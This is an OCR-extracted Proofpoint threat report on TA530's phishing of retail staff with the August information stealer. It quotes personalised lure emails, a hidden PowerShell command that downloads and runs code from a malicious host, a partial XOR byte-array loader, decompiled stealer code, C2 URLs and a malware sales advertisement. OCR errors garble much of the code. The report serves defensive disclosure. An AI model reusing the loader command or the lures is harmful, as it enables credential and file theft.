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Overview

During the month of November, Proofpoint observed multiple campaigns from TA530 - an actor we have

noted for their highly personalized campaigns [6] - targeting customer service and managerial staff at retailers.
These campaigns utilized “fileless” loading of a relatively new malware called August through the use of Word
macros and PowerShell. August contains stealing functionality targeting credentials and sensitive documents from

the infected computer.
Delivery and Targeting

During our analysis we found that many of the lures and subject lines of the emails used references to issues with
supposed purchases on the company’s website and were targeted at individuals who may be able to provide
support for those issues. The lures also suggested that the attached document contained detailed information about

the issue. However, the documents contained macros that could download and install August Stealer.
The subject lines were personalized with the recipient's domain. Examples included:

e Erroneous charges from [recipient’s domain]

e [recipient’s domain] - Help: Items vanish from the cart before checkout

e [recipient’s domain] Support: Products disappear from the cart during checkout
e Need help with order on [recipient’s domain]

e Duplicate charges on [recipient’s domain]
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© Extra line breaks in this message were removed.

From: I EEEE SR — O > Sent:  Tuell/#2016 5:30 PM
To:
Ce

Hello,

I am writing to question a couple charges on my credit card that point to you guys, which | have definitely no idea about. Please see
more details of the incident including last 4 digits of my credit card as well as the transactions. | will have no option but to escalate this
issue with the bank declaring this transaction as fraud should not | get an answer today.

Thanks for your help.
L

- AN -

Figure 1: Example email used to deliver the macro-laden document

Fram: - - Y WA Sent:  Tue11/8/2016 5:43 AM
To: I EEETETEEE O§

Ca

Subject: Need help with ordering on s .Com

Dear Sir/Madam,

| am getting ready to place an order on “sssssss, Com, but having issues with5 items. | have selected in the enclosed document
everything | want to buy, can you take a look and confirm if you have it in stock? There is also a Screen-Shot of the cart inserted in the
document.

| appreciate your help.

Cheers!
e —

Figure 2: Example email used to deliver the macro-laden document
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Wl d - = ake Name.doc [Read-Only] [Compatibility Mode] crosoft Word IE X |

File Home Insert Page Layout References Mailings Review View 2 g

@ Security Warning  Some active content has been disabled. Click for more details. Enable Content

X

Do

1 This documentis protected against unauthorized access. iy o oot
o -2.0ffice
Select Enable Editing and Enable Content to load content.

“ o w4

4 | | »

Figure 3: Example macro-laden document attachment used to deliver August

The macro used is very similar to the one we discussed in our previous post detailing sandbox evasion techniques
used to deliver the Ursnif banking Trojan [1]. It filters out security researchers and sandboxes using checks
including Maxmind, task counts, task names, and recent file counts. Notably, the macro used in this campaign
launches a Powershell command to “filelessly” load the payload from a byte array hosted on a remote site. This

actor previously used this technique to load POS payloads [2][3][4].

« WINWORD.EXE 2260 "C:\Users\user1\AppData\LocahTemp\notahshhsh.doc" /q
o powershell.exe 2652 -w hidden -nop -ep bypass -c (new-object
Net.WebClient). DownloadString("http://muralegdanskzaspa.eu/network/outlook.asp') | iex
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Figure 4: Example PowerShell command used to download and execute the byte array

GET fnetworkfoutlook.asp HTTPS1.1
Host: muralegdanskzaspa.eu
Connection: Keep-Llive

HTTPf1.1 200 OK

Date: Mon, 14 Now 16 GMT
Content-Type: applicationfoctet-stream
Content-Length:

Connection: keep-alive

Last-Modified: Mon, 14 Nov 2010 GMT
Jerver: IdeallehServerfwvOD.oC

[Byte[]] Shytes = QB(0x76,0x61,0xab,0x3b,0x38,0x3b,0x3b,0x3k,0x3£,0x3k,0x3b,

[TRUNCATED]

Ox3b,0x3b,0x3b,0x3b ,0x3k ,0x3b) ;for{$i=0;:5i -1t Shytes.count ;5i++) {Shytes[5i] = Shytes[$i] -
bxor x3b}[Svstem.Reflectinn.issemblv]::LDad{Shytes};[AugustJ.Program]::Hain{””}

Figure 5: Snippet of the network traffic returning the byte array used to load August

The screenshot above shows the payload downloaded from the remote site as a PowerShell byte array. In addition
to the byte array itself, there are few lines of code that deobfuscate the array through an XOR operation, and

execute the “Main” function of the payload.
Analysis

August is written in .NET, with samples obfuscated with Confuser [5]. We determined from the source code of a

particular sample that August can

 Steal and upload files with specified extensions to a command and control (C&C) server

e Steal .rdp files

o Steal wallet.dat files

 Steal crypto currency wallets including Electrum and Bither

e Grab FTP credentials from applications including SmartFTP, FileZilla, Total Commander, WinSCP, and
CoreFTP

e Grab messenger credentials for Pidgin, PSI, LiveMessenger, and others

e Collect cookies and passwords from Firefox, Chrome, Thunderbird, and Outlook

e Determine the presence of common security tools including Wireshark and Fiddler

¢ Communicate the hardware ID, OS name, and victim's username to the C&C server

e Use simple encryption of network data via base64 encoding, character replacement, adding a random key

(passed to server encoded in the User-Agent field), and reversing the strings

Page 4 of 11


https://www.proofpoint.com/sites/default/files/stealer-5.png
https://www.proofpoint.com/sites/default/files/stealer-5.png

https://www.proofpoint.com /uk/threat-insight /post /august-in-december-new-information-stealer-hits-the-scene

namespace August_

{

internal class Program

{

private static string Gate =

public static string Seperator = "a";
private static CookieContainer Cockies = new CookieContainer();

private static string AppData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
private static Mutex VMutex;

public static void Main(string[] args)
1

Figure 6: The “Main” function executed from the PowerShell command

public static bool IsSniffing()

{

string[] array = new string[]

"http analyzer”,
"charles”™,
"fiddler",
"Wireshark",
"wpe pro”

|

string[] array2 = new strﬁng[]

{
"httpanalyzerstdv",
"charles™,
"Fiddler”,
"wireshark”,

wpe

HH

Process[] processes = Process.GetProcesses();

Figure 7: Determines the presence of security tools, and does not communicate with the C&C if they are found

public static byte[] Encrypt(byte[] InputData, string Key = null)

1
byte[] array = (!string.IsNullOrEmpty(Key)) ? Encoding.UTF8.GetBytes(Key) : new byte[1];
byte[] array2 = new byte[InputData.Length];
int num = @;
for (int 1 = 8; i < array2.Length; i++)
1
if (array.Length == num)
{
num = @;
}
array2[i] = (byte)((int)InputData[i] + i + (int)array[num]);
num++;
1
Array.Reverse(array2);
return array2;
¥
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Figure 8: Network data encryption

POST fcatal og/cor‘e/;lnate/ HTTP/1.1
User-Agent: UGeea3NTMQ((

Accept: text/html, application/xhtml+xml, applicationsxml;g=0.9, image/webp, */*; q=0.8
content-Type: application/x-www-form-urlencoded

HOST : www. Overstockage. com

content-Length: 150

Expect: 100-continue

HTTP/1.1 100 Continue

=" el el e i e O BRQIGHDLG-UYIBKkBONVAMOMDN3 cot FROTFX]6-

M2cr‘KOZ‘:--: | = ¥ :: = = - e 8 . s w - Ll [:HTTF'/’l.j_ 200 OK
server: nginx
Date: Tue, 29 Nov 2016 1 GMT

Content-Type: text/html

Connection: Close

vary: Accept-encoding

Expires: Thu, 19 nNov 1981 = - GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set-Cookie: PHPSESSID=1"" B o™ BN, path=/

Set-Cookie: _asomcnc=l; Max-Age=9500; Path=/

X-NoCache: 1

BRryFBMMQ )4 RINHPPYOGQeHI1Fzmos] 5 IL727Phk LN-WI SXt6umbCar tHdPgochGIATrEIQ9zN3AHVE T 7hiXUxC3H] 60~
Z7I06ZTfp8h7E-v7i72nJumaux)orhel 7acxsJaugepcysuudpshyg (|

Figure 9: Example encrypted traffic generated by August

August Statistics Settings

Username: Document extensions (use '|" as seperator )
=txt|*.doc

Password: Max. file size for upload [bytes):
2000000

Allowed report types: Directory for search:

Search type:

Allow requests by user who already is in logs Search files only in top directory

S i s

Figure 10: August configured to search and upload .txt and .doc files to the server
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August Statistics Storage Logs Settings Logout

August
Storage\
Name Type Modified At
cookies Folder (44) 04.11.16 (01:11:39) nn
cuteftp Folder (1) 04.11.16 (12:11:10) Ban
docs Folder (33) 09.11.16 (07:11:07) n
ftp Folder (1) 04.11.16 (12:11:10} ﬂ
imel Folder (2) 04.11.16 (12:11:10) ﬂn
mail Folder (2) 04.11.16 (12:11:05) Baa
passwords Folder {18) 04.11.16 (12:11:25) ﬂﬂn
rdp Folder {13) 04.11.16 (01:11:40) ﬂﬂn
walles Folder (0} 27.10.16 (09:10:28) gon

Figure 11: August control panel with stolen credentials for FTP, messenger, mail, RDP, and other programs
Conclusion

August is a new information stealer currently being distributed by threat actor TA530 through socially engineered
emails with attached malicious documents. While this actor is largely targeting retailers and manufacturers with
large B2C sales operations, August could be used to steal credentials and files in a wide range of scenarios. The
malware itself is obfuscated while the macro used in these distribution campaigns employs a number of evasion
techniques and a fileless approach to load the malware via PowerShell. All of these factors increase the difficulty
of detection, both at the gateway and the endpoint. As email lures become increasingly sophisticated and
personalized, organizations need to rely more heavily on email gateways capable of detecting macros with

sandbox evasion built in as well as user education that addresses emails that do not initially look suspicious.

References

techniques

[2] https://www.proofpoint.com/us/threat-insight/post/phish-scales-malicious-actor-target-execs

[3] http://researchcenter.paloaltonetworks.com/2016/03/powersniff-malware-used-in-macro-based-attacks/

[4] https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html

[5] https://confuser.codeplex.com/

[6] https://www.proofpoint.com/us/threat-insight/post/phish-scales-malicious-actor-target-execs
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10C

c432cc99b390b5edbab400dcc322f7872d3176c08869c8e587918753c00e5d4e

hxxp://thedragon318[.]Jcom/exchange/owalogon.asp

hxxps://paste[.]Jee/r/eY3Ui

hxxp://muralegdanskzaspal.]Jeu/network/outlook.asp

hxxp://krusingtheworld[.]de/port/login.asp

hxxp://pgdpszczynal.]edu[.]pl/config/config.asp

hxxp://wwwl.Joverstockage[.]Jcom/image/image.asp

hxxp://thedragon318[.]Jcom/exchange/port10/gate/

hxxp://himalayard[.]de/exchange/port10/gate/

hxxp://muralegdanskzaspal.]eu/network/port10/gate/

hxxp://krusingtheworld[.]de/port/jp/gate/

hxxp://pgdpszczynal.]edu[.]pl/config/install/gate/

hxxp://www[.]overstockage[.]Jcom/catalog/core/gate/
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ET and ETPRO Suricata/Snort Coverage

2823166 ETPRO TROJAN August Stealer CnC Checkin
2823171 ETPRO CURRENT_EVENTS MalDoc Payload Inbound Nov 08

Appendix A: Forum Advertisement
August Stealer - Passwords/Documents/Cookies/Wallets/Rdp/Ftp/IM Clients
Onucanue GyHKIMOHAA:

- CTWIIMHT JaHHBIX Opay3epoB (COXpaHEHHbBIe TApON/KyKu (aiiibr) u3:
Mozilla FireFox

Google Chrome

Yandex Browser

Opera Browser

Comodo IceDragon

Vivaldi Browser

Mail.Ru Browser

Amigo Browser

Bromium

Chromium

SRWare Iron

CoolNovo Browser

RockMelt Browser

Torch Browser

Dooble Browser

U Browser

Coowon

- CTWI/IMHT JaHHBIX YUETHBIX 3amMCell U3 HEKOTOPBIX (T K/TMEHTOB:
FileZilla

SmartFTP

- CTWI/IMHT JaHHBIX U3 MeCCeH/PKEPOB:

Psi+

Psi

- CtusuuHT (alifioB U3 yKa3aHHBIX JUPEKTOPHi M0 YKa3aHHbIM MackaM (BO3MOXKHOCTb OTPaHHUUMUBATh BeC
BXOZAAMUX (halisioB)

- Crwimusr ¢aiinoB wallet.dat (koImenbKu KpUNTBaFOTEI)

- CtuyuiHT (alinoB yganéHHoro noakaouenus (.rdp)

Ornicanue 6unja:
- 3aBucumocTthb 0T .NET Framework (2.0, BO3MOXHOCTh KOMIIW/ISILIAY [7151 0J1ee TIO3AHUX BEPCHI T10 JKeTaHUIO)
- CamoyaneHue 1ocje paboTsl

- OrmnpaBka JaHHbIX Ha redt (PHP 5.4+)
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- IlIncpoBaHue BXOASILEr0/UCXOAsALIero Tpaduka

- Bec uncroro, HeobdycumpoBanHoro 6unga ~ 45k6

- He Tackaert 3a co6oii HaTHBHbIe OMOIHOTEKN

- He TpeOyroTcst afMuH. 1paBa [jyisi BBINIOJTHEHHSI TOCTaB/IeHHBIX 3a/a4

- He ucnonb3oBanuch Uy>Xure UCXOOHUKHU

OnucaHve TIaHe ! yrpaBieHus:

- Bepcus PHP 5.4+

- He Tpebyerca MySQL

- IHTYUTHUBHO-TIOHATHBINA UHTEPdeiic

- OneHcopc, HeT 00¢yCKalyy, HeT MPUBSI30K

- AHITIUICKUN A3BIK

[TepBbIM TpeM mnokyrmaresnasMm - ckuaka 30% 3a OT3bIB

Tewm, KT0 ipUOOpeTasn y MeHsl paHee MPOAYKT, MPeAoCcTaBsieTcs: ckuaka 50%

[TpyuHUMArO MPe/yI0XKEHUS TI0 COBEPIIIEHCTOBAHUIO CO(Ta/TONONMHEHHIO (DYHKIMOHAIA

3HATOKU aHTTIMHACKOTO ZJIsT UCTIPAB/IeHUST KOCSTKOB B TTaHes N TOKe ObI TIPUTOAUINCH

Codrt B Oyay1iem OyaeT 0OHOB/ISATECS U TIOTIOJTHATHCSI HOBBIMH (pruaMH, He 11o0aibHble 0OHOBIEHUS JJ1s

KJIUEHTOB OyyT OecriyiaTHBI

Lena: 100$
PeGung: 10$
Metop omnatel: BTC

Appendix B: Forum Advertisement - English Translation
August Stealer - Passwords/Documents/Cookies/Wallets/Rdp/Ftp/IM Clients

Stealing data browser (saved passwords / cookie files) from:
Mozilla FireFox
Google Chrome
Yandex Browser
Opera Browser
Comodo IceDragon
Vivaldi Browser
Mail.Ru Browser
Amigo Browser
Bromium
Chromium

SRWare Iron
CoolNovo Browser
RockMelt Browser
Torch Browser

Dooble Browser

Page 10 of 11



https://www.proofpoint.com /uk/threat-insight /post /august-in-december-new-information-stealer-hits-the-scene

U Browser

Coowon

- Stealing data accounts of some FTP clients:

Filezilla

SmartFTP

- Stealing data from the messengers:

Psi +

Psi

- Stealing files from the specified directory on the specified masks (the ability to restrict the size of incoming files)
- Stealing wallet.dat files (cryptocurrency purses)

- Stealing file remote connection (.rdp)

Description of the build:

- Dependence on the .NET Framework (2.0, able to compile for later versions on request)
- Self-removal after execution

- Sending data to the gate (PHP 5.4+)

- Encryption of incoming / outgoing traffic\

- Size of clean build before obfuscation ~45KB

- Does not bring with it native libraries

- Do not require admin

- Do not borrow sources from other malware

Description of the control panel:

- Version PHP 5.4+

- You do not need MySQL

- Intuitive interface

- Open source, no obfuscation, no bindings
- English

The first three customers - 30% discount for a review

Those who acquired my earlier product, 50% discount

I accept suggestions for making the software better / additional functionality
Experts of the English language to correct the bugs in the panel are welcome

Software in the future will be updated with new features done, small updates will be free for customers

Price: $ 100
Rebild: $ 10
Payment method: BTC

Source: https://www.proofpoint.com/uk/threat-insight/post/august-in-december-new-information-stealer-hits-the-scene
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